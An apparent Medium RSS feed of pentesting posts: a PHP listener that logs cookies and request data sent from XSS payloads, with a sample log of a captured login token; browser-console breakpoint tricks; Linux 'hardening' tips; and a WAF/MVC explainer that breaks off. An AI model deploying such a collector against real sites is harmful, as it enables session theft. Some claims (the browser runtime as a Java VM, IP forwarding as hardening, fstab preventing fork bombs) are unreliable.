<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by DJ SUBSTANCE on Medium]]></title>
        <description><![CDATA[Stories by DJ SUBSTANCE on Medium]]></description>
        <link>https://medium.com/@djsubstance?source=rss-813a948597c1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*8Fw56STxWWDPtRXazDqG0g.png</url>
            <title>Stories by DJ SUBSTANCE on Medium</title>
            <link>https://medium.com/@djsubstance?source=rss-813a948597c1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 02:51:36 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@djsubstance/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Write a quick and dirty PHP callback listener for cookies and session data]]></title>
            <link>https://djsubstance.medium.com/write-a-quick-and-dirty-php-callback-listener-for-cookies-and-session-data-eba1d9b014b5?source=rss-813a948597c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/eba1d9b014b5</guid>
            <dc:creator><![CDATA[DJ SUBSTANCE]]></dc:creator>
            <pubDate>Sat, 27 Apr 2024 23:04:41 GMT</pubDate>
            <atom:updated>2024-04-27T23:04:41.804Z</atom:updated>
            <content:encoded><![CDATA[<pre><br>░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░        ░▒▓██████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░      ░▒▓█▓▒░      ░▒▓███████▓▒░ ░▒▓██████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░ <br>░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░      ░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ <br>░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░      ░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░      ░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░ <br>░▒▓███████▓▒░░▒▓████████▓▒░▒▓███████▓▒░       ░▒▓█▓▒░      ░▒▓████████▓▒░▒▓█▓▒░      ░▒▓█▓▒░      ░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░      ░▒▓███████▓▒░  <br>░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░             ░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░      ░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░ <br>░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░             ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░      ░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ <br>░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░              ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓████████▓▒░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░ <br>                                                                                                                                                        <br>Embedded Parameter Check: <br>Added a check for the &#39;embedded&#39; parameter within<br> the $_GET array before trying to access it. This prevents PHP errors if<br> the parameter isn’t provided.<br><br>Log Structure: The $logData array now encapsulates all potential inputs<br> ($_COOKIE, $_POST, $_GET) which can dynamically include data based on <br>what&#39;s sent to the server. The inclusion of &#39;embedded&#39; is only done if <br>it&#39;s actually set.<br><br>Logging Format: Ensured the log format is consistent, appending a newline<br> after each entry to keep the log file organized.<br><br>Security and Handling: The script assumes a basic level of security<br> handling given your setup (i.e., using &#39;Origin&#39; set on the server). <br><br>In Burp or curl send in the request: &quot;Origin: https://yourserver.com&quot;<br>Rename callback.php to index.php so it collects all data when referenced<br>make sure http and https both work<br>make sure logs.txt is writable<br><br><br>This is what you want to specify in scripts like &#39;dalfox&#39; when it asks for <br>a callback url<br><br>&lt;?php<br><br>// Define the log file path<br>$logFilePath = &#39;log.txt&#39;;<br><br>// Initialize an array to store the log data<br>$logData = array();<br><br>// Check if there are cookies and log them<br>if (!empty($_COOKIE)) {<br>    $logData[&#39;cookies&#39;] = $_COOKIE;<br>}<br><br>// Check if the request method is POST and log POST data<br>if ($_SERVER[&#39;REQUEST_METHOD&#39;] === &#39;POST&#39;) {<br>    $logData[&#39;postData&#39;] = $_POST;<br>}<br><br>// Check if there are any GET parameters and log them<br>if (!empty($_GET)) {<br>    $logData[&#39;getData&#39;] = $_GET;<br>    <br>    // Check if &#39;embedded&#39; GET parameter is set<br>    if (isset($_GET[&#39;embedded&#39;])) {<br>        $logData[&#39;embedded&#39;] = $_GET[&#39;embedded&#39;];<br>    }<br>}<br><br>// Prepare the log string with timestamp<br>$timeStamp = date(&#39;Y-m-d H:i:s&#39;);<br>$logString = &quot;$timeStamp - &quot; . json_encode($logData);<br><br>// Write the data to the log file<br>file_put_contents($logFilePath, $logString . &quot;\n&quot;, FILE_APPEND);<br><br>// Optional: Send a response back to the client<br>echo &quot;Data received and logged.&quot;;<br><br>?&gt;<br><br>-----<br>touch log.txt<br>chmod +w log.txt<br>chown www-data:www-data *<br><br>... Example.  tail -f log.txt<br>2024-04-27 22:48:41 - {&quot;getData&quot;:<br>{&quot;embed&quot;:&quot;xyz&lt;!-- &#39;\&quot;` --&gt;&lt;!-- &lt;\/textarea&gt;&lt;\/xmp&gt; --&gt;&lt;\/option&gt;&lt;\/form&gt;<br>&lt;form data-turbo=\&quot;false\&quot; action=\&quot;\/session\&quot; accept-charset=\&quot;UTF-8\&quot; <br>method=\&quot;post\&quot;&gt;&lt;input type=\&quot;hidden\&quot; name=\&quot;authenticity_token\&quot;<br> value=\&quot;piSGc09Fs5v1AWhPpLDekr_K4PJs4pfoUGoR_AEtOOkiy5AQDIAZfBwdVj&lt;snip&gt;0I8DT_xZ9Vw\&quot; \/&gt;    &lt;label for=\&quot;login_field\&quot;&gt;&quot;}}<br><br>2024-04-27 22:48:41 - {&quot;getData&quot;:<br>{&quot;embed&quot;:&quot;xyz&lt;!-- &#39;\&quot;` --&gt;&lt;!-- &lt;\/textarea&gt;&lt;\/xmp&gt; --&gt;&lt;\/option&gt;&lt;\/form&gt;&lt;form data-turbo=\&quot;false\&quot;<br> action=\&quot;\/session\&quot; accept-charset=\&quot;UTF-8\&quot; method=\&quot;post\&quot;&gt;<br>&lt;input type=\&quot;hidden\&quot; name=\&quot;authenticity_token\&quot; <br>value=\&quot;piSGc09Fs5v1AWhPpLDekr_K4PJs4pfoUGoR_AEtOOki&lt;snip&gt;lM30I8DT_xZ9Vw\&quot; \/&gt;<br>    &lt;label for=\&quot;login_field\&quot;&gt;&quot;}}<br><br><br><br></pre><p>Once you determine what values your trying to collect, modify the php script.</p><p><a href="https://github.com/djsubstance">https://github.com/djsubstance</a></p><p>-substance</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eba1d9b014b5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking the web: Breakpoints and making a “watcher” all in console. (Carefully) [level adv]]]></title>
            <link>https://djsubstance.medium.com/hacking-the-web-breakpoints-and-making-a-watcher-all-in-console-carefully-level-adv-3b563d2c2bbd?source=rss-813a948597c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b563d2c2bbd</guid>
            <dc:creator><![CDATA[DJ SUBSTANCE]]></dc:creator>
            <pubDate>Sun, 24 Mar 2024 02:36:58 GMT</pubDate>
            <atom:updated>2024-03-24T02:36:58.968Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="DJ Substance provides more hacking phreaking info for the 2020’s 9x data network" src="https://cdn-images-1.medium.com/max/1024/0*chw-Nc38fGXCRbe1" /><figcaption>If youve ever wanted to auto-set breakpoints and do more with console then you ever thought — read on</figcaption></figure><blockquote><strong>WARNING:<br>BE CAREFUL WITH THIS . IT IS POWERFUL AND IF THIS IS UNKNOWN (THE TOPIC) THEN ITS COMPLETELY UNKNOWN HOW IT WILL AFFECT RUNTIME ON A PRODUCTION REMOTE SITE —</strong></blockquote><p>With the “disclaimer” out of the way, I cant stress enough that you need to practice, read alot and know your JS to pull this off effectively on a production env, for a real pentest or bounty. The point of doing the break point this way, is just for convienence and automation — the normal way is to right click the line in Inspect and set break point. It would be a good idea to know how to do both.</p><h3><strong>Why do we need breakspoints at all?</strong></h3><p>If you need to look this up or dont know, I would not proceed with any of the JS on a live site. To answer the question — the best way I could describe the way in a general sence how a webpage continunes to “work’ even while the page is loaded and looks idle. The “state” of the DOM / VM (inside the browser is virtualized env. you will notice it called VM. its constantly running monitoring the state of what keys are being pressed on the page, mouse movements, etc. Setting a break point can assist the developer and/or pentester identify the value of various variables (both declared by you in your code, or by dependencies) or predefined built in’s — can be a excellent source of informatoin and it is somewhat complex which (if you master the topic) will set you apart, and will get you the high paid bounties.</p><h3><strong>Definitions:</strong></h3><p><strong>Breakpoint: </strong>(in terms of this situation) A point in time of the Java Runtime and loading of the DOM (Document Object Model) that stops and the user/developer can check values at certain times of execution.</p><p><strong>Watcher:</strong> A snippet of code you paste into console, which will identify where to stop the script (page) on next load</p><p><strong>Web Runtime Environment: </strong>The Java Virtual Machine is running all the time on the page rendered while you are in console, so you can stop it at different interesting points in memory.</p><p>If those 3 definitions have you scratcing your head, do not continue with this article, read up deeply on javascript. then come back.</p><p>Contining on. Implementing a watcher inconsole (without manually setting it or manually setting it) could be called “<strong>Breaking Execution</strong>” — Normally you have to goto Elements and find the line to right click add breakpoint. We will identify points in memory and write a short snip. of code paste it it run the debugger and analyze the memory.</p><p>Lets jump right, youll thank me and know a ninja trick Open incogito chrome tab to hxxps://npmjs.com — Right click/ Inspect</p><figure><img alt="dj substance / elite progressive trance" src="https://cdn-images-1.medium.com/max/582/1*TxewNX2BzdWCNvBuB0Vjyg.png" /><figcaption>Click Inspect after right click</figcaption></figure><p>On npmjs.js they are using highlight.js — (After clicking inspect/console):</p><p><strong>Start out with a quick test — to validate we are not blocking alert()’s<br></strong>Pasting in to the “console” tab:</p><p>alert(1); // You should see a popup on the page:</p><figure><img alt="Dealing with javascript alerts by dj substance" src="https://cdn-images-1.medium.com/max/1024/1*h7WAej9l9jcVNM8zN4xFJQ.png" /><figcaption>As we can see, we can interact with the DOM and throw alerts and exceptions</figcaption></figure><p><strong>Sometimes you have to type: allow pasting (in order to type in console)</strong></p><p><strong>(After clicking OK on alert) → Paste in:</strong><br>javascript:(function() { if (window.Highlighter) { debugger; } else { console.log(“highlighter.js not detected”); } })();</p><p>For breaking execution when a specific script like highlight.js (assuming you mean a syntax highlighting library or any script with a similar name) is loaded, you would typically follow a similar approach to the jQuery example, but with a condition that checks for something unique to highlighter.js. This could be a global object or function that the script creates. However, if highlighter.js doesn&#39;t expose a clearly identifiable object or function globally, detecting its load might be trickier and would require a more generic approach, such as monitoring changes to the DOM or script elements.</p><p>Regarding making such breakpoint one-liners “global” in the sense that they apply across multiple pages or sessions without needing to paste them each time, there isn’t a built-in feature in browsers that persistently applies such custom JavaScript across different pages or sessions for obvious security and performance reasons. However, there are a few strategies you could consider:</p><ol><li>Extensions: Developing a small Chrome extension that injects your specific code into every page you visit. Extensions can have persistent scripts that run according to your specifications.</li></ol><p>2. Bookmarklets: Convert your script into a bookmarklet that you can click whenever you need to apply the breakpoint. This isn’t fully automatic but is a quick way to reapply the script.</p><p>3. User Scripts: Use a userscript manager like Tampermonkey or Greasemonkey. These tools allow you to write scripts that automatically run on pages you define, acting similarly to a self-made extensio</p><h3>Example Bookmarklet for highlighter.js</h3><p>Assuming highlighter.js sets a global variable or object named Highlighter when loaded, here&#39;s how you could make a bookmarklet. Note that this is just an illustrative example; you&#39;d need to adjust it based on the actual global identifiers highlighter.js uses.</p><ul><li>{level: ‘warn’, message: ‘[websockets] Overwriting existing handler without silencing. This may indicate a race condition.’}<br>level: “warn”, message: “[websockets] Overwriting existing handler without silencing. This may indicate a race condition.”<br>[[Prototype]] : Object<br> [ Console Breakpoint JS memory watcher ]</li></ul><p>[*] Runtime Example paste in the following to start watching:<br> var debugWatcher = setInterval(() =&gt; { console.trace(‘Watcher Trace’); console.log(‘Variable:’, variableName); }, 5000);<br> [*] Clear the watcher runtime from memory<br> clearInterval(debugWatcher);]</p><p>This will display every 5000ms (5s) on the console. various objects and data depending on what you set it to. Observe headers, the values of the headers and cookies, etc, etc, this can give you an idea of where you in terms of pivoting — in these complex cloud env’s we are dealing with now. I have found its good to attempt to diagrm out your target and learning Visio is always helpful.</p><p><strong>Warning:<br>Even with the best of “hacker tools” and debuggers you have no idea what is actaully happening in the back end, espicially if processes are spawned on various other unseen backend servers.</strong></p><p>[ Example output ]</p><p>This is initially what I got when I just tried that example on chatGPT: <br> 20:29:22.400 Failed to load resource: the server responded with a status of 403 ()<br> 20:29:22.700 [Intercom] Launcher is disabled in settings or current page does not match display conditions<br> 20:29:22.719 /backend-api/compliance/cookie_consent:1 <br> 20:29:22.734 API error <a href="https://chat.openai.com/backend-api/compliance/cookie_consent">https://chat.openai.com/backend-api/compliance/cookie_consent</a> Cannot update user’s compliance settings<br> 29:23.233 _app-20&lt;snip&gt;63.js:1 Uncaught (in promise) FatalServerError: Cannot update user’s compliance settings<br> 20:46:31.459 Error with Permissions-Policy header: Unrecognized feature: ‘document-domain’.<br> 20:29:46.515 react-scroll-to-bottom: Please set “behavior” when calling “scrollToBottom”. In future versions, <br> the default behavior will be changed from smooth scrolling to discrete scrolling to align with HTML Standard.</p><p>— — — After 5 minutes — seeing *extensive* amounts of errors and msgs: [This is after “unloading” it)</p><p>mous) @ VM304:1<br>20:47:53.710 VM304:1 Uncaught ReferenceError: variableName is not defined<br> at &lt;anonymous&gt;:1:97<br>If anyone is interested, I closed the tab and reloaded ChatGPT and it was fine, but here is the stacktrace<br>/ error log that I got prior to closing window → <a href="https://pastebin.com/raw/MEVjUBJJ">https://pastebin.com/raw/MEVjUBJJ</a></p><p>— — — — — A more complex example / less potential for odd behavior, but more potential for finding vulnerabilities<br>This new console script is going to have multiple phases:</p><p>Definitions:<br> Watcher — our script we paste into console<br> <br>Detection Phase: — initial phase, the watcher identifies custom objects, prototypes, and global variables that might be vulnerable.<br>Techniques like heuristic analysis or pattern matching against known vulnerable structures can be employed.<br>The goal is to pinpoint elements in the code that warrant closer scrutiny.<br>Monitoring Phase:<br>Once potential vulnerabilities are detected, the system focuses on monitoring these elements more closely.<br>It logs their states or any changes at regular intervals or in response to specific events.<br>By doing so, it keeps a watchful eye on variables that could pose security risks.<br>Analysis and Reporting Phase:<br>Collected data undergoes analysis to identify suspicious or anomalous behaviors.<br>These behaviors may indicate exploitation or vulnerability.<br>The system can generate reports or alerts for further investigation.<br>Implementing the Detection Phase: To expand beyond the original one-liner, consider the following approaches:</p><p>Listing Custom Defined Prototypes and Objects:<br>Begin by listing all custom-defined prototypes and objects.<br>While challenging in a global scope due to the abundance of built-in objects and variables, focus on identifying objects not part of the standard JavaScript environment.</p><p>— — — — More complex example — — — -<br>Creating a more advanced debug watcher that “learns” about potentially vulnerable variables, objects, or prototypes <br> and then focuses on monitoring them is an intriguing idea. This concept involves dynamically identifying and<br> tracking parts of the code that could be susceptible to common web vulnerabilities like prototype pollution, XSS,<br> or other injection attacks. Implementing such a system in JavaScript, particularly in a browser environment, <br> involves several steps and considerations</p><p>Detection Phase: <br>The watcher would need an initial phase to detect custom objects, prototypes, and global variables that <br> could potentially be vulnerable. This might involve heuristic analysis or pattern matching against known <br> vulnerable patterns or structures.</p><p>Monitoring Phase: <br> Once identified, these elements would be monitored more closely than others, logging their states or any <br> changes to them at regular intervals or upon specific events.</p><p>Analysis and Reporting Phase: <br> The system should analyze the collected data, potentially identifying suspicious or anomalous behaviors <br> that could indicate exploitation or vulnerability.</p><p>Implementing the Detection Phase<br> To expand the original one-liner into something capable of identifying potentially vulnerable variables or <br> objects, consider the following approaches:</p><p>Listing Custom Defined Prototypes and Objects<br> Start by listing all custom-defined prototypes and objects. This can be tricky in a global scope due to the sheer number of built-in objects and variables, but you can look for objects that are not part of the standard JavaScript environment.</p><p>javascript<br>Copy code<br>Object.getOwnPropertyNames(window).forEach(prop =&gt; {<br> if (typeof window[prop] === ‘object’ || typeof window[prop] === ‘function’) {<br> console.log(prop, window[prop]);<br> }<br>});<br>Detecting Commonly Exploited Objects<br>For commonly exploited objects, such as those susceptible to prototype pollution, you could monitor modifications to prototype chains or unexpected property additions. Monitoring all property changes on all objects is not feasible for performance reasons, but you can focus on critical objects known to be targets of such attacks.</p><p>Implementing the Monitoring Phase<br>For the variables or objects identified as potentially vulnerable, use Object.observe (deprecated but illustrative for this example) or Proxy objects to monitor changes to their properties or behaviors.</p><p>javascript<br>Copy code<br>// Example using Proxy to monitor an object for changes<br>const monitoredObjects = {}; // Placeholder for objects identified as vulnerable</p><p>Object.keys(monitoredObjects).forEach(key =&gt; {<br> monitoredObjects[key] = new Proxy(monitoredObjects[key], {<br> set(target, property, value) {<br> console.log(`Change detected in ${key}: property ${property} set to`, value);<br> // Original set operation<br> target[property] = value;<br> return true; // Indicate success<br> }<br> });<br>});<br>Analysis and Reporting Phase<br>The data collected by the watcher would be analyzed to identify patterns indicative of exploitation or vulnerability. This could involve checking for unexpected changes, accesses from suspicious sources, or other anomalies.</p><p>Integrating Machine Learning<br>To make the watcher “learn” over time, you could integrate machine learning algorithms that analyze the behavior and evolution of the monitored objects and variables. The learning component could adjust its focus based on detected patterns, improving its ability to identify potential vulnerabilities.</p><p>This approach would require a backend capable of processing and analyzing the data collected by the debug watcher, along with a model trained to recognize patterns associated with common vulnerabilities.</p><p><strong>Performance</strong>: Constantly monitoring and analyzing variables and objects can significantly impact performance, especially if done in the main thread of a web application.<br><strong>Security</strong>: There’s a fine line between detecting vulnerabilities and inadvertently creating new ones by exposing sensitive information through the watcher itself.</p><p>Lastly, remember type: undebug (or undebugger(); ) depending on what populates while you type it. Do not leave your modifications to any prototypes and debuggers running. Always verify the site is working fine after testing , incognito obviously.</p><p>Tll next time</p><p>substance</p><figure><img alt="DJ Substance / Javascript / Prototype Pollution / 9x / tranceattic" src="https://cdn-images-1.medium.com/max/1024/1*lyLFrfF7OWjpJEQUdfzF1A.png" /><figcaption>If you are famliar with jslint.com — try it using these options — it seems best for pentesting</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b563d2c2bbd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lock dat sh*t down — Linux box tweak]]></title>
            <link>https://djsubstance.medium.com/lock-dat-sh-t-down-linux-box-tweak-49aba7fb3cf7?source=rss-813a948597c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/49aba7fb3cf7</guid>
            <category><![CDATA[9x]]></category>
            <category><![CDATA[trance-music]]></category>
            <category><![CDATA[dj-substance]]></category>
            <dc:creator><![CDATA[DJ SUBSTANCE]]></dc:creator>
            <pubDate>Mon, 18 Mar 2024 04:20:37 GMT</pubDate>
            <atom:updated>2024-03-18T04:20:37.479Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lock dat sh*t down — Linux box tweak</h3><p>Lets optimize and secure our Ubuntu or *nix box:</p><pre>There are very important settings in /etc/sysctl.conf<br><br>#Disable ICMP echo (ping) replies for IPv4: <br>sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1<br><br>#Disable ICMP echo (ping) replies for IPv6: <br>sudo sysctl -w net.ipv6.icmp.echo_ignore_all=1<br><br>#Enable IP forwarding for IPv4: <br>sudo sysctl -w net.ipv4.ip_forward=1<br><br>#Enable IP forwarding for IPv6: <br>sudo sysctl -w net.ipv6.conf.all.forwarding=1<br></pre><p>Now edit /etc/fstab — Lets restrict what a user can see about others PID’s</p><p>This is a incredibly important and easy update, to /etc/fstab to make it so users cant see eachother processess.</p><pre># Add this line to the end of /etc/fstab<br>proc /proc proc defaults,hidepid=2 0 0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DJhROaZoh2x64dW_Spi_9g.png" /><figcaption>This is what it should resemble once you made the change</figcaption></figure><p>Note: This is the most restrictive setting for hidepid, enhancing privacy and security on multi-user systems. Remember to remount the proc filesystem or reboot the system for the changes to take effect.</p><p>Security/limits.conf — Fork Bomb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eoQ5a2FtE3GTW030kjPAQA.png" /><figcaption>Next file to examine is /etc/security/limits.conf</figcaption></figure><p>Now after the change I have:</p><p># End of file<br>* hard nproc 1000</p><ul><li>A reboot is necessary</li></ul><p>It can be a pain in the a$$ to prevent fork bombs, your OS may vary. But the fstab entry will work.</p><p>$w<br>04:19:41 up 3 days, 1:50, 2 users, load average: 0.00, 0.00, 0.00<br>USER TTY LOGIN@ IDLE JCPU PCPU WHAT</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49aba7fb3cf7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pentesting beyond the basics — Cloud WAFs, reverse proxies, IPS, MVC routes (level: hard)]]></title>
            <link>https://djsubstance.medium.com/pentesting-beyond-the-basics-cloud-wafs-reverse-proxies-ips-mvc-routes-level-hard-3d681e67f4a0?source=rss-813a948597c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/3d681e67f4a0</guid>
            <category><![CDATA[dj-substance]]></category>
            <category><![CDATA[wafhack]]></category>
            <category><![CDATA[9x]]></category>
            <category><![CDATA[cloud-hacking]]></category>
            <category><![CDATA[cloudflare]]></category>
            <dc:creator><![CDATA[DJ SUBSTANCE]]></dc:creator>
            <pubDate>Sun, 17 Mar 2024 06:23:02 GMT</pubDate>
            <atom:updated>2024-03-17T06:23:02.166Z</atom:updated>
            <content:encoded><![CDATA[<h3>Pentesting beyond the basics — Cloud WAFs, reverse proxies, IPS, MVC routes (level: hard)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PceSNegGqJfM-WRFQKes1Q.jpeg" /><figcaption>Even a seasoned pentester should read this and get in on the discussion</figcaption></figure><p>The reason im writing this, is not to try to school anyone, I am open to learning, please comment if you can help — this is a discussion — not me telling you or talking at you ;p From doing 10 bug bounties in the past 4–5mo here is what I notice:</p><p>Lets look at a modern web application:</p><figure><img alt="DJ Substance presenting modern web app SEO 9x tranceattic" src="https://cdn-images-1.medium.com/max/960/0*6hb01RQUnr04kI6R.jpeg" /><figcaption>This was found on laravel.com which is a PHP framework, but this goes for most any modern webapp</figcaption></figure><p>Now lets look at a historical web application:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K_IVv5QRA6QJ8fzZEU8dvg.png" /><figcaption>This is your webappl up until a few years ago</figcaption></figure><p>Lets break down these difrent layers / abstractions / keep in mind — im not professionally a programmer . so cut me some slack.</p><p>MVC —</p><p>In modern web applications, the MVC architecture is designed to enhance code organization and maintenance by separating different concerns. This separation allows developers to manage each component independently. While the traditional MVC pattern consists of three components — Model, View, and Controller — some frameworks extend this architecture to include a fourth component called “Routing.” If its a new concept, forget what you thought you new about paths and web URI’s, and dont confuse layer 3 “routing” with what we are discussing here. This has nothing to do with networking in this discussion.</p><p>The exponential growth of the Internet has been good and bad, depending on your viewpoint, its gotten more complex to attack web apps, but its gotten much MORE COMPLEX to configure them right ;)</p><p>Here is a typical setup for todays corp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6Bh99EtwD-Ucui7W.png" /></figure><p>Lets just say prior to Web 3.0, web applications were much more housed in a datacenter and you might deal with two databases unknowingly to place and order, there was no such thing as a <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">web application firewall</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*6GaNmOa32NHAu6Y6pcyYTg.png" /><figcaption>To clarify this so there is no confusion</figcaption></figure><p>Conventional Firewall vs WAF (overview):</p><p>Layer of Operation:</p><ul><li><strong>Conventional Firewall</strong>: <br>Operates primarily at the network level (Layer 3 and 4 of the OSI model)<br>- focusing on IP addresses and port<br>- filters traffic based on protocol, source, and dst IPs and ports<br> (making decisions to allow or block traffic based on these parameters)</li><li><strong>Web Application Firewall</strong> (WAF)<br> — Application layer (Layer 7)<br>- designed to <br> inspect, <br> monitor,<br> filter HTTP/HTTPS traffic to / from a web application.</li></ul><p><strong>Critical Difference: </strong>WAFs understand and analyze the content of web traffic, including URLs, headers, and the body of messages.</p><p>The next major difference between WAF and regular FW:</p><p>Focus of what is being protected:</p><ul><li><strong>Conventional Firewall:<br></strong>Aimed at securing the network from unauthorized access and attacks<br>Examples:<br> — IP spoofing, port scans, and DDoS attacks at the network level</li><li><strong>Web Application Firewall</strong> (WAF): <br> Protects web applications from application-layer attacks <br> Examples: <br> — SQL injection<br> — Cross-Site Scripting (XSS)<br> — file inclusion, security misconfigurations, and countless others.</li></ul><p><strong>Critical Difference: </strong>The WAF is designed to understand and mitigate attacks that exploit the specific logic of web applications.</p><p>The next major difference between WAF and regular FW: <strong>Traffic Inspection:</strong></p><ul><li><strong>Conventional Firewall</strong>: <br> Performs stateful inspection of packets, <br> examining the state and context of network connections <br> (but typically not delving into the payloads of packets)</li><li><strong>Web Application Firewall </strong>(WAF): <br> Performs deep packet inspection <br> — Layers 5–7 focus on application layer<br>- analyzing the contents and context of HTTP/HTTPS traffic<br>- Analyzes requests and responses — usually with deep analysis:<br>- including: <br> <em>form fields, cookies, and API calls, for malicious patterns.</em></li></ul><p><strong>The next major difference between WAF and regular FW:</strong></p><p><strong>Deployment Location:</strong></p><ul><li><strong>Conventional Firewall</strong>: <br>Typically deployed at the network perimeter to protect an organization’s internal networks from external threats.</li><li><strong>Web Application Firewall</strong> (WAF): <br>Positioned in front of web applications, either in the cloud or on-premises, to specifically protect web applications from attacks and vulnerabilities.</li></ul><p>In addition, and without boring you to death (this is important to undersatand these key differences) lastly —</p><p>Rules and Policies:</p><ul><li><strong>Conventional Firewall</strong>: <br>Utilizes a set of predefined rules based on IP addresses, ports, and protocols to allow or block traffic. These rules are relatively static and require manual updates for changes in the network structure or policy.</li><li><strong>Web Application Firewall </strong>(WAF): <br>Employs a more dynamic set of rules that can be automatically updated and customized to the specific security requirements of each web application. WAFs can use signatures, anomaly detection, and behavior-based analysis to identify and mitigate threats.</li></ul><p>Firewalls (in the conventional layer 1–4) sense, were merely permit / deny based on the typical TCP attributes that are still in use today. So, with that being said, taking a Ubuntu box running Apache2 and php — lets just say the historic web server looked like:</p><p><a href="https://www.wallymart.com/">https://www.wallymart.com</a><br><a href="https://www.wallymart.com/">https://www.wallymart.com</a>/cart<br><a href="https://www.wallymart.com/">https://www.wallymart.com</a>/searchItem.php?id=0438<br><a href="https://www.wallymart.com/">https://dev.wallymart.com</a> # The development server — likely on the sameVM</p><p>All 4 of those examples are called URL/Is (Uniform Resource Location / Identifiers).</p><p>Even a midsize company could probably run off a server and there wasnt knowledege about containers and cloud orchestration. Lets look at a hypothetical current site now:</p><p>The difference now:</p><p>Now the /path’s are considered “routes” and (likely) bring you to different systems all together (many times) just by visiting different paths.</p><p><a href="https://www.wallymart.com/">https://wallycloudmart.com</a>/ # Rev Proxy -&gt; WAF -&gt; Forward Proxy -&gt; Server<br><a href="https://www.wallymart.com/">https://wallycloudmart.com</a>/cart/ # 301 to another node “SalesForce”<br><a href="https://www.wallymart.com/">https://wallycloudmart.com</a>/searchItem -&gt;<br> <a href="https://search.wallycloudmart.com/">https://search.wallycloudmart.com/</a> # Hosted in a diff. cloud infra.</p><p><a href="https://www.wallymart.com/">https://wallycloudmart.com</a>/extranet # 301 -&gt; <br> <a href="https://extranet.wallycloudmart.com/">https://extranet.wallycloudmart.com</a> — which is in a diff subnet / webserver</p><p>Lets try to digest what we just discussed. The moral of the story is that, from my experience both architecting these solutions and pentesting them back then, and today, the Cloud is playing a pivotal role. Stepping back for a moment. Just to be clear, the MVC methodology and separating web apps by /routes is not cloud specific, please do not think that. I am just discussing both at once. What I covered is that <br>/thispath # Takes me to internal back end webserver 10.8.2.1:443<br>/thatpath # Takes me to internal back end webserver 10.8.2.2:443</p><p>— On modern web apps — it could mean completely different UI experiences, applications and credentials needed.</p><p>MVC is a framework compromised of <a href="https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller"><strong>Model</strong></a>, <strong>View</strong>, <strong>Controller </strong>and <strong>Routing</strong><a 